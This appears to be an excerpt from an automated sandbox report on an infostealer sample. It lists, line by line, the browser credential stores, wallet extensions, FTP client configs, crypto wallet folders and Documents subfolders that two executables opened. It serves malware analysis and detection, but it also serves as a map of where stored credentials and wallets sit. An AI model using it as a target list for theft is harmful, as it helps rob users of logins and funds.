Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
